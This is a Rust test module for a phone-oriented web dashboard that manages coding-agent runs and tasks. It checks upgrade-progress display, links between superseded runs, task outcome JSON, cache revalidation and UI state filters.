14951 fn stopping_the_loop_arms_but_starting_does_not() {
14952 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14955 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14956 assert!(APP_JS.contains("confirmed(button, question)"));
14957 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14960 assert!(APP_JS.contains("const label = btn.textContent;"));
14961 assert!(!APP_JS.contains("Neither direction is guarded"));
14962 }
14963
14964 #[test]
14965 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14966 assert!(
14967 APP_JS.contains("state.health.version"),
14968 "the operator wants to know what is running even with nothing newer"
14969 );
14970 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14971 }
14972
14973 #[test]
14974 fn the_upgrade_button_names_its_destination() {
14975 assert!(
14976 APP_JS.contains("`Update to ${update.to}`"),
14977 "pressing the button should not be a surprise about what it moves to"
14978 );
14979 }
14980
14981 #[test]
14982 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14983 for stage in ["downloading", "replaced", "parking", "restarting"] {
14984 assert!(
14985 APP_JS.contains(&format!("\"{stage}\"")),
14986 "the phone must be able to tell {stage} apart from the others"
14987 );
14988 }
14989 assert!(APP_JS.contains(".waiting_on"));
14990 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14995 assert!(APP_JS.contains("reconnects on its own"));
14996 }
14997
14998 #[test]
14999 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15000 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15009 ..APP_JS.find("function upgrade(").expect("upgrade")];
15010 assert!(
15011 !body.contains(
15012 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
15013 ),
15014 "a failed upgrade must not take the whole strip over the way it used to"
15015 );
15016 assert!(
15017 body.contains("upgradeFailNote"),
15018 "the failure has to reach the loop's own note instead"
15019 );
15020 assert_eq!(
15024 body.matches("upgradeFailNote].filter(Boolean).join")
15025 .count(),
15026 2,
15027 "both loop-why writers (quiet and control) must fold the note in"
15028 );
15029 }
15030
15031 #[test]
15032 fn an_overdue_upgrade_eventually_asks_for_a_human() {
15033 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15036 assert!(APP_JS.contains("function upgradeOverdue("));
15037 }
15038
15039 #[test]
15040 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
15041 assert!(
15042 APP_JS.contains("Updated to ${upgradeInfo.to"),
15043 "the operator who asked for the restart wants to know it worked"
15044 );
15045 }
15046
15047 #[test]
15048 fn an_error_is_visible_from_where_the_button_is() {
15049 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15054 ..APP_CSS.find(".alert-text").expect(".alert-text")];
15055 assert!(
15056 alert.contains("position: fixed"),
15057 "an error about the thing under your thumb has to be visible from \
15058 where your thumb is: {alert}"
15059 );
15060 assert!(
15061 alert.contains("z-index: 25"),
15062 "above the dock (20) and the run-actions FAB (15), so neither \
15063 buries it: {alert}"
15064 );
15065 assert!(
15066 alert.contains("var(--tap)"),
15067 "and clear of the dock and the home indicator: {alert}"
15068 );
15069 assert!(
15072 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15073 "the FAB's column stays free: {alert}"
15074 );
15075 }
15076
15077 #[tokio::test]
15078 async fn an_older_attempt_says_what_replaced_it() {
15079 let fx = Fixture::start().await;
15080 let q = fx.queue();
15081 let runs = fx.runs();
15082 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15083 write_run(&runs, first, RunStatus::Stalled);
15084 write_run(&runs, second, RunStatus::Blocked);
15085
15086 let mut t = Task::new(
15087 "one task".to_owned(),
15088 "do it".to_owned(),
15089 PathBuf::from("/repo"),
15090 Source::Human,
15091 );
15092 t.runs = vec![first.to_owned(), second.to_owned()];
15093 q.put(&mut t).expect("put");
15094
15095 let rows = fx.get("/api/runs").await.json();
15099 let by = |short: &str| -> Value {
15100 rows.as_array()
15101 .unwrap()
15102 .iter()
15103 .find(|r| r["short"] == short)
15104 .cloned()
15105 .unwrap_or(Value::Null)
15106 };
15107 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15108 assert!(
15109 by("bbbb")["superseded_by"].is_null(),
15110 "the latest attempt is not superseded by anything"
15111 );
15112 assert!(APP_JS.contains("run.superseded_by"));
15114 assert!(APP_JS.contains("Superseded by"));
15115 }
15116
15117 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15118 let mut t = Task::new(
15119 "one task".to_owned(),
15120 "do it".to_owned(),
15121 PathBuf::from("/repo"),
15122 Source::Human,
15123 );
15124 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15125 t.status = status;
15126 t
15127 }
15128
15129 #[test]
15130 fn source_link_picks_the_page_that_filed_the_task() {
15131 let agent = |node: &str| Source::Agent {
15132 run: "20260904-014455-ab12".to_owned(),
15133 node: node.to_owned(),
15134 };
15135 let chat = source_link(&agent("chat")).expect("chat link");
15136 assert_eq!(chat.kind, "chat");
15137 assert_eq!(chat.id, "20260904-014455-ab12");
15138 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15139 let run = source_link(&agent("implement")).expect("run link");
15140 assert_eq!(
15141 (run.kind, run.href.as_str()),
15142 ("run", "#/runs/20260904-014455-ab12")
15143 );
15144 assert_eq!(source_link(&Source::Human), None);
15145 assert_eq!(
15146 source_link(&Source::Issue {
15147 number: 3,
15148 repo: "o/r".to_owned()
15149 }),
15150 None
15151 );
15152 let odd = source_link(&Source::Agent {
15153 run: "a b/c".to_owned(),
15154 node: "chat".to_owned(),
15155 })
15156 .expect("link");
15157 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15158 }
15159
15160 #[test]
15161 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15162 assert!(
15163 !APP_JS.contains("src.node === \"chat\""),
15164 "inline href rule is back"
15165 );
15166 assert!(
15167 APP_JS.matches("sourceLinkOf(").count() >= 4,
15168 "helper must serve every page"
15169 );
15170 assert!(
15171 APP_JS.matches("openChatLink(").count() >= 3,
15172 "the run page still needs its explicit chat link"
15173 );
15174 assert!(
15175 !APP_JS.contains("const openChat = el("),
15176 "the Queue card duplicates its source label link again"
15177 );
15178 assert!(
15179 APP_JS.contains("metaKids.push(link ? el(\"a\""),
15180 "the task page must link a chat source label too"
15181 );
15182 }
15183
15184 #[test]
15185 fn task_ref_carries_the_source_link_for_a_chat_task() {
15186 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15187 t.source = Source::Agent {
15188 run: "20260904-014455-ab12".to_owned(),
15189 node: "chat".to_owned(),
15190 };
15191 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15192 let v = serde_json::to_value(&out).expect("json");
15193 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15194 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15195 assert_eq!(v["source_label"], t.source.label());
15196
15197 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15198 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15199 .expect("json");
15200 assert!(v["source_link"].is_null(), "{v}");
15201 }
15202
15203 #[test]
15204 fn task_view_serializes_source_link() {
15205 let mut t = Task::new(
15206 "t".to_owned(),
15207 "t".to_owned(),
15208 PathBuf::from("/repo"),
15209 Source::Agent {
15210 run: "20260901-000000-aaaa".to_owned(),
15211 node: "implement".to_owned(),
15212 },
15213 );
15214 t.runs.clear();
15215 let v = serde_json::to_value(TaskView::from(t)).expect("json");
15216 assert_eq!(v["source_link"]["kind"], "run", "{v}");
15217 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15218 }
15219
15220 #[tokio::test]
15221 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15222 let fx = Fixture::start().await;
15223 let runs = fx.runs();
15224 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15225 write_run(&runs, old, RunStatus::Blocked);
15226 write_run(&runs, new, RunStatus::Merged);
15227 let mut t = outcome_task(&[old, new], TaskStatus::Done);
15228 fx.queue().put(&mut t).expect("put");
15229
15230 let view = fx.get(&format!("/api/runs/{old}")).await.json();
15231 let task = &view["task"];
15232 assert_eq!(task["status"], "done");
15233 assert_eq!(task["is_latest"], false);
15234 assert_eq!(task["latest"]["short"], "bbbb");
15235 assert_eq!(task["finished_by"]["id"], new);
15236 assert_eq!(task["finished_by"]["outcome"], "merged");
15237 assert_eq!(task["closed_by_hand"], false);
15238 assert_eq!(view["status"], "blocked", "the run keeps its own status");
15239 assert!(APP_JS.contains("finished_by"));
15240 assert!(APP_JS.contains("superseded by run"));
15241 }
15242
15243 #[tokio::test]
15244 async fn the_latest_run_reports_a_held_task_without_a_successor() {
15245 let fx = Fixture::start().await;
15246 let runs = fx.runs();
15247 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15248 write_run(&runs, old, RunStatus::Stalled);
15249 write_run(&runs, new, RunStatus::Blocked);
15250 let mut t = outcome_task(&[old, new], TaskStatus::Held);
15251 fx.queue().put(&mut t).expect("put");
15252
15253 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15254 assert_eq!(task["status"], "held");
15255 assert_eq!(task["is_latest"], true);
15256 assert!(task["latest"].is_null());
15257 assert!(task["finished_by"].is_null());
15258 assert_eq!(task["closed_by_hand"], false);
15259 }
15260
15261 #[tokio::test]
15262 async fn a_direct_run_has_no_task_outcome() {
15263 let fx = Fixture::start().await;
15264 let runs = fx.runs();
15265 let id = "20260901-000000-aaaa";
15266 write_run(&runs, id, RunStatus::Blocked);
15267 let view = fx.get(&format!("/api/runs/{id}")).await.json();
15268 assert!(view["task"].is_null());
15269 }
15270
15271 #[test]
15272 fn task_outcome_does_not_guess_a_finishing_run() {
15273 let a = "20260901-000000-aaaa";
15274 let b = "20260901-000000-bbbb";
15275 let c = "20260901-000000-cccc";
15276 let dir = tempfile::tempdir().expect("tempdir");
15277 write_run(dir.path(), a, RunStatus::Blocked);
15278 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15279 let read = |id: &str| read_run(dir.path(), id).ok();
15281 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15284 let out = task_outcome(&t, a, 3, read);
15285 assert!(out.finished_by.is_none());
15286 assert!(out.closed_by_hand);
15287 let latest = out.latest.expect("latest");
15288 assert_eq!(latest.id, c);
15289 assert_eq!(latest.status, None);
15290 assert_eq!(latest.outcome, "record unreadable");
15291
15292 write_run(dir.path(), c, RunStatus::Ready);
15294 let t = outcome_task(&[a, c], TaskStatus::Done);
15295 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15296 assert_eq!(out.finished_by.expect("finisher").id, c);
15297 assert!(!out.closed_by_hand);
15298
15299 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15301 assert!(task_outcome(&t, a, 3, read).is_latest);
15302 }
15303
15304 #[tokio::test]
15305 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15306 let fx = Fixture::start().await;
15311 let q = fx.queue();
15312 let runs = fx.runs();
15313 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15314 write_run(&runs, first, RunStatus::Blocked);
15315 write_run(&runs, second, RunStatus::Merged);
15316
15317 let mut t = Task::new(
15318 "one task".to_owned(),
15319 "do it".to_owned(),
15320 PathBuf::from("/repo"),
15321 Source::Human,
15322 );
15323 t.runs = vec![first.to_owned(), second.to_owned()];
15324 q.put(&mut t).expect("put");
15325
15326 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15327 assert_eq!(earlier["superseded_by"], "dddd");
15328 assert_eq!(earlier["latest_attempt"]["id"], second);
15329 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15330 assert_eq!(
15331 earlier["latest_attempt"]["resolved"], true,
15332 "the run that replaced it landed, so this one reads as settled"
15333 );
15334
15335 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15336 assert!(
15337 later["superseded_by"].is_null(),
15338 "the latest attempt is not superseded by anything"
15339 );
15340 assert!(
15341 later["latest_attempt"].is_null(),
15342 "the latest attempt has no later attempt of its own"
15343 );
15344
15345 assert!(APP_JS.contains("run.latest_attempt"));
15352 assert!(APP_JS.contains("data-superseded"));
15353 assert!(APP_JS.contains("#/runs/${latest.id}"));
15354 }
15355
15356 #[tokio::test]
15357 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15358 let fx = Fixture::start().await;
15364 let q = fx.queue();
15365 let runs = fx.runs();
15366 let (a, b, c) = (
15367 "20260901-000000-aaaa",
15368 "20260901-000000-bbbb",
15369 "20260901-000000-cccc",
15370 );
15371 write_run(&runs, a, RunStatus::Blocked);
15372 write_run(&runs, b, RunStatus::Blocked);
15373 write_run(&runs, c, RunStatus::Merged);
15374
15375 let mut t = Task::new(
15376 "retried twice".to_owned(),
15377 "do it".to_owned(),
15378 PathBuf::from("/repo"),
15379 Source::Human,
15380 );
15381 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15382 q.put(&mut t).expect("put");
15383
15384 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15385 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15386 assert_eq!(
15387 view["latest_attempt"]["id"], c,
15388 "the chain's current head, not the intermediate Blocked retry"
15389 );
15390 assert_eq!(view["latest_attempt"]["resolved"], true);
15391
15392 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15393 assert_eq!(mid["latest_attempt"]["id"], c);
15394 assert_eq!(mid["latest_attempt"]["resolved"], true);
15395 }
15396
15397 #[tokio::test]
15398 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15399 let fx = Fixture::start().await;
15400 let q = fx.queue();
15401 let runs = fx.runs();
15402
15403 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15406 write_run(&runs, still_blocked_a, RunStatus::Blocked);
15407 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15408 let mut t1 = Task::new(
15409 "still stuck".to_owned(),
15410 "do it".to_owned(),
15411 PathBuf::from("/repo"),
15412 Source::Human,
15413 );
15414 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15415 q.put(&mut t1).expect("put");
15416 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15417 assert_eq!(view1["latest_attempt"]["resolved"], false);
15418 assert_eq!(view1["latest_attempt"]["status"], "blocked");
15419 assert_eq!(view1["latest_attempt"]["done"], true);
15420
15421 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15423 write_run(&runs, run_a, RunStatus::Blocked);
15424 write_run(&runs, run_b, RunStatus::Implementing);
15425 let mut t3 = Task::new(
15426 "retrying".to_owned(),
15427 "do it".to_owned(),
15428 PathBuf::from("/repo"),
15429 Source::Human,
15430 );
15431 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
15432 q.put(&mut t3).expect("put");
15433 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
15434 assert_eq!(view3["latest_attempt"]["id"], run_b);
15435 assert_eq!(view3["latest_attempt"]["resolved"], false);
15436 assert_eq!(view3["latest_attempt"]["done"], false);
15437
15438 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
15443 write_run(&runs, noop_a, RunStatus::Blocked);
15444 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
15445 let mut t2 = Task::new(
15446 "claims done".to_owned(),
15447 "do it".to_owned(),
15448 PathBuf::from("/repo"),
15449 Source::Human,
15450 );
15451 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
15452 q.put(&mut t2).expect("put");
15453 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
15454 assert_eq!(
15455 view2["latest_attempt"]["resolved"], false,
15456 "an unverified no-op claim must not read as a confirmed finish"
15457 );
15458
15459 assert!(APP_JS.contains("latest.resolved"));
15462 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15465 assert!(APP_JS.contains("Latest attempt: "));
15466 assert!(APP_JS.contains("in flight"));
15467 assert!(APP_JS.contains("not resolved"));
15468 }
15469
15470 #[tokio::test]
15471 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15472 let fx = Fixture::start().await;
15473 let js = fx.get("/app.js").await;
15479 assert_eq!(js.status, 200);
15480 let tag = js
15481 .header("etag")
15482 .expect("an etag to revalidate against")
15483 .to_owned();
15484 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15485 assert_eq!(
15486 js.header("cache-control"),
15487 Some("no-cache, must-revalidate"),
15488 "the phone has to ask every time"
15489 );
15490
15491 let again = fx
15494 .get_with("/app.js", &[("if-none-match", tag.as_str())])
15495 .await;
15496 assert_eq!(
15497 again.status, 304,
15498 "a deck it already has costs one round trip"
15499 );
15500 assert!(again.body.is_empty(), "304 carries no body");
15501
15502 let weak = fx
15505 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15506 .await;
15507 assert_eq!(weak.status, 304);
15508 let stale = fx
15509 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15510 .await;
15511 assert_eq!(stale.status, 200, "an older build must be replaced");
15512 assert!(stale.body.contains("renderRunActions"));
15513 }
15514
15515 #[test]
15516 fn the_task_detail_has_an_actions_fab_and_sheet() {
15517 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15518 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15519 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15520 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
15522 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
15523 assert!(APP_JS.contains("renderTaskActions(task);"));
15525 assert!(APP_JS.contains("renderTaskActions(null);"));
15526 let sheet = APP_JS
15528 .find("function renderTaskActions")
15529 .expect("sheet renderer");
15530 let body = &APP_JS[sheet..sheet + 3000];
15531 assert!(body.contains("changePriority("));
15532 assert!(body.contains("openTaskEdit(task)"));
15533 assert!(body.contains("renderTaskHoldBox(host"));
15534 assert!(body.contains("renderTaskDoneBox(host"));
15535 assert!(body.contains("renderTaskDeleteBox(host"));
15536 assert!(APP_JS.contains("API.priority(id)"));
15537 assert!(APP_JS.contains("API.deleteTask(id)"));
15538 assert!(APP_JS.contains("location.hash = \"#/queue\""));
15540 assert!(APP_JS.contains("$(\"task-actions-error\")"));
15542 }
15543
15544 #[test]
15545 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
15546 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
15547 let actions = INDEX_HTML
15548 .find("id=\"run-actions-box\"")
15549 .expect("actions box");
15550 assert!(task < actions, "the task entry comes first in the sheet");
15551 assert!(APP_JS.contains("renderRunTaskEntry"));
15552 assert!(APP_JS.contains("\"Open task \""));
15553 assert!(APP_JS.contains("started directly, no task"));
15555 assert!(APP_JS.contains("sheet-task-link"));
15556 assert!(APP_JS.contains("task-chip-link"));
15557 }
15558
15559 #[test]
15560 fn the_deck_never_sends_the_operator_to_a_terminal() {
15561 assert!(
15564 !APP_JS.contains("Run `magi fold` first"),
15565 "the deck must offer the fold, not prescribe a shell command"
15566 );
15567 assert!(APP_JS.contains("foldRun:"));
15568 assert!(APP_JS.contains("resumeRun:"));
15569 assert!(APP_JS.contains("renderRunActions"));
15570
15571 assert!(APP_JS.contains("armedFold"));
15573 assert!(APP_JS.contains("Yes, fold worktrees"));
15574
15575 assert!(APP_JS.contains("can no longer be resumed"));
15578 }
15579
15580 #[test]
15581 fn a_finished_run_explains_itself_with_its_own_last_line() {
15582 assert!(
15588 !APP_JS.contains("collapsed on agent quota"),
15589 "a stall must not be explained by a cause the deck did not check"
15590 );
15591 assert!(
15592 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
15593 "and a block must not offer a guess with an `or` in it"
15594 );
15595
15596 assert!(
15600 APP_JS.contains("setText(r.event, run.event || \"\")"),
15601 "the run's last line is rendered unconditionally"
15602 );
15603 assert!(
15604 !APP_JS.contains("moving && run.event"),
15605 "and never gated on the run still moving"
15606 );
15607
15608 assert!(APP_JS.contains("lost to quota"));
15610 }
15611
15612 #[test]
15634 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
15635 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
15636 let shapes_body_start =
15637 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
15638 let shapes_close = APP_JS[shapes_body_start..]
15639 .find("].map(")
15640 .expect("the shape list is closed by its done-computing .map(...)")
15641 + shapes_body_start;
15642 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
15643
15644 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
15645 for entry in shapes_src.split('{').skip(1) {
15646 let waiting = entry.contains("waiting: true");
15647 let dead = entry.contains("live: \"dead\"");
15648 let status_at =
15649 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
15650 let status_end = entry[status_at..]
15651 .find('"')
15652 .expect("the status string is closed")
15653 + status_at;
15654 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
15655 }
15656 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
15657
15658 let done_rule_marker = "done: !";
15662 let done_rule_at = APP_JS[shapes_close..]
15663 .find(done_rule_marker)
15664 .expect("the done rule follows the shape list")
15665 + shapes_close
15666 + done_rule_marker.len();
15667 let includes_at = APP_JS[done_rule_at..]
15668 .find(".includes(shape.status)")
15669 .expect("the done rule ends in .includes(shape.status)")
15670 + done_rule_at;
15671 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
15672 .trim()
15673 .trim_start_matches('[')
15674 .trim_end_matches(']')
15675 .split(',')
15676 .map(|s| s.trim().trim_matches('"'))
15677 .filter(|s| !s.is_empty())
15678 .collect();
15679
15680 let shapes: Vec<(bool, String, bool, bool)> = shapes
15681 .into_iter()
15682 .map(|(waiting, status, dead)| {
15683 let done = !not_done.contains(&status.as_str());
15684 (waiting, status, dead, done)
15685 })
15686 .collect();
15687
15688 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15692 if waiting {
15693 return "waiting";
15694 }
15695 if dead
15696 && !matches!(
15697 status,
15698 "merged"
15699 | "ready"
15700 | "stalled"
15701 | "blocked"
15702 | "failed"
15703 | "verified_noop"
15704 | "superseded"
15705 | "already_in_base"
15706 )
15707 {
15708 return "stale";
15709 }
15710 match status {
15711 "merged" | "ready" => "landed",
15712 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15713 | "already_in_base" => "ended",
15714 _ => "flight",
15715 }
15716 }
15717
15718 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15721 match filter_key {
15722 "active" => !done,
15723 "flight" => !done && !waiting && !dead,
15724 "stale" => !done && !waiting && dead,
15725 "waiting" => waiting,
15726 "done" => done,
15727 "all" => true,
15728 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15729 }
15730 }
15731
15732 let compatible = |section: &str, filter_key: &str| {
15733 shapes.iter().any(|(waiting, status, dead, done)| {
15734 run_section(*waiting, status, *dead) == section
15735 && filter_matches(filter_key, *waiting, *dead, *done)
15736 })
15737 };
15738
15739 let expected = [
15744 ("waiting", [true, false, false, true, true, true]),
15745 ("stale", [true, false, true, false, false, true]),
15746 ("flight", [true, true, false, false, false, true]),
15747 ("landed", [false, false, false, false, true, true]),
15748 ("ended", [false, false, false, false, true, true]),
15749 ];
15750 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15751
15752 for (section, wants) in expected {
15753 for (filter_key, want) in filter_keys.iter().zip(wants) {
15754 assert_eq!(
15755 compatible(section, filter_key),
15756 want,
15757 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15758 );
15759 }
15760 }
15761
15762 assert!(
15765 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15766 );
15767 assert!(APP_JS.contains(
15768 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15769 ));
15770 assert!(APP_JS.contains(
15771 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15772 ));
15773 }
15774
15775 #[tokio::test]
15776 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15777 let dir = tempfile::tempdir().expect("tempdir");
15781 let explicit = dir.path().join("not-a-checkout");
15782 std::fs::create_dir_all(&explicit).expect("create dir");
15783 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15784
15785 let missing = dir.path().join("does-not-exist-at-all");
15786 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15787 }
15788
15789 #[test]
15790 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15791 assert!(APP_JS.contains("function statsDonutArcs"));
15792 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15793 assert!(APP_JS.contains("function statusInBucket"));
15795 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15796 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15797 let buckets = [
15798 "merged",
15799 "ready",
15800 "in_progress",
15801 "blocked",
15802 "failed",
15803 "verified_noop",
15804 "superseded",
15805 "stalled",
15806 ];
15807 for key in buckets {
15808 let var = format!("--verdict-{key}:");
15809 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15811 assert!(
15812 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15813 "{key}"
15814 );
15815 }
15816 }
15817}